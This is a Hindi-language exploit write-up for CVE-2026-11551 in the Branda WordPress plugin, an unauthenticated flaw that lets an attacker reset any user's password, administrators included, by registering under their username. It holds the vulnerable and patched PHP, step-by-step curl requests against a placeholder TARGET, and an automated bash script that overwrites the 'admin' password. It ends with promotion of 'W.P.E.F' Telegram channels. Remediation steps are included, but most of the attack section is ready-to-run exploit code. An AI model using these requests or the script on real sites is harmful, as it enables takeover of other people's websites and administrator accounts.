CVE-2026-11551: Branda प्लगइन - खाता अधिग्रहण के माध्यम से अप्रमाणित विशेषाधिकार वृद्धि

अवलोकन

• CVE आईडी: CVE-2026-11551
• CVSS स्कोर: 9.8 (गंभीर)
• प्रभावित: Branda – White Label & Branding <= 3.4.29
• पैच किया गया: 3.4.31
• प्रकाशित: 19 जून, 2026

भेद्यता विवरण

WordPress के लिए Branda प्लगइन सभी संस्करणों (3.4.29 तक और सहित) में खाता अधिग्रहण के माध्यम से विशेषाधिकार वृद्धि के लिए संवेदनशील है। यह इस कारण है कि प्लगइन किसी उपयोगकर्ता की पहचान को उनका पासवर्ड अपडेट करने से पहले ठीक से सत्यापित नहीं करता है। इससे अप्रमाणित हमलावरों के लिए किसी भी उपयोगकर्ता का पासवर्ड बदलना संभव हो जाता है, जिसमें प्रशासक भी शामिल हैं, और इसका उपयोग करके उनके खाते तक पहुंच प्राप्त कर सकते हैं।

तकनीकी विश्लेषण

संवेदनशील कोड स्थान

/inc/modules/login-screen/signup-password.php

मूल कारण

संवेदनशील संस्करण में pre_insert_user_data() फ़ंक्शन में उचित सत्यापन का अभाव है:

// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code...
    }
    // Missing: if ($update) return $data; <-- VULNERABILITY
    
    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        // Set the password from POST data
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

पैच किया गया कोड (3.4.31)

public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code with proper checks...
    }

    // FIX: Added check to prevent updating existing users
    if ( $update ) {
        return $data;
    }

    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

हमले के वेक्टर

वेक्टर 1: मल्टीसाइट पंजीकरण (प्राथमिक)

1. हमलावर /wp-signup.php तक पहुंचता है
2. मौजूदा व्यवस्थापक उपयोगकर्ता नाम (जैसे "admin") के साथ पंजीकरण करता है
3. password_1 पैरामीटर के माध्यम से कस्टम पासवर्ड सेट करता है
4. Branda पासवर्ड को साइनअप मेटा में संग्रहीत करता है
5. सक्रिय होने पर, पासवर्ड मौजूदा व्यवस्थापक के पासवर्ड को ओवरराइट कर देता है

वेक्टर 2: एकल साइट पंजीकरण

1. हमलावर /wp-login.php?action=register तक पहुंचता है
2. Branda फ़ॉर्म में पासवर्ड फ़ील्ड जोड़ता है
3. हमलावर मौजूदा उपयोगकर्ता नाम के साथ पंजीकरण सबमिट करता है
4. यदि सक्रियण पूरा होता है, तो पासवर्ड सेट हो जाता है

प्रूफ ऑफ कॉन्सेप्ट (curl)

चरण 1: जांचें कि पंजीकरण सक्षम है या नहीं

curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"

चरण 2: WordPress प्रकार जांचें (मल्टीसाइट बनाम एकल)

curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"

चरण 3: मल्टीसाइट के लिए - व्यवस्थापक उपयोगकर्ता नाम से पंजीकरण करें

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-signup.php" \
  -d "user_name=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "signup_for=blog"

चरण 4: एकल साइट के लिए - पंजीकरण करें

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php?action=register" \
  -d "user_login=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "wp-submit=Register"

चरण 5: सक्रिय करें (यदि ईमेल सत्यापन आवश्यक है)

# Extract activation key from email and visit:
curl -s -k -c cookies.txt -b cookies.txt \
  "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"

चरण 6: सत्यापित करें - लॉगिन का प्रयास करें

curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php" \
  -d "log=admin" \
  -d "pwd=NewP@ssw0rd!" \
  -d "wp-submit=Log In" \
  -L | grep -i "dashboard\|wp-admin\|error"

स्वचालित शोषण स्क्रिप्ट

#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"

echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."

# Multisite attack
curl -s -k -c /tmp/cookies.txt \
  -X POST "$TARGET/wp-signup.php" \
  -d "user_name=$USERNAME" \
  -d "[email protected]" \
  -d "password_1=$NEW_PASSWORD" \
  -d "password_2=$NEW_PASSWORD"

echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"

शोषण के लिए आवश्यकताएँ

1. WordPress पर Branda प्लगइन <= 3.4.29 स्थापित और सक्रिय हो
2. उपयोगकर्ता पंजीकरण सक्षम होना चाहिए (जांचें Settings > General > Membership: Anyone can register)
3. सफल खाता अधिग्रहण के लिए: लक्ष्य उपयोगकर्ता नाम मौजूद होना चाहिए
4. मल्टीसाइट के लिए: सक्रियण ईमेल तक पहुंच (या सक्रियण बाईपास)

उपचार

Branda प्लगइन को संस्करण 3.4.31 या बाद के संस्करण में अपडेट करें:

# Via WordPress Admin
Dashboard > Plugins > Branda > Update

# Via WP-CLI
wp plugin update branda-white-labeling

# Via SSH
wp plugin update branda-white-labeling --version=3.4.31

प्रभाव

• गोपनीयता: उच्च - हमलावर किसी भी उपयोगकर्ता खाते तक पहुंच प्राप्त करता है
• अखंडता: उच्च - हमलावर सामग्री को संशोधित कर सकता है
• उपलब्धता: उच्च - हमलावर वैध उपयोगकर्ताओं को लॉक आउट कर सकता है

संदर्भ

• Wordfence Intelligence
• WPScan
• Plugin Trac

W.P.E.F

• W.P.E.F Telegram chanel #1
• W.P.E.F Telegram chanel #2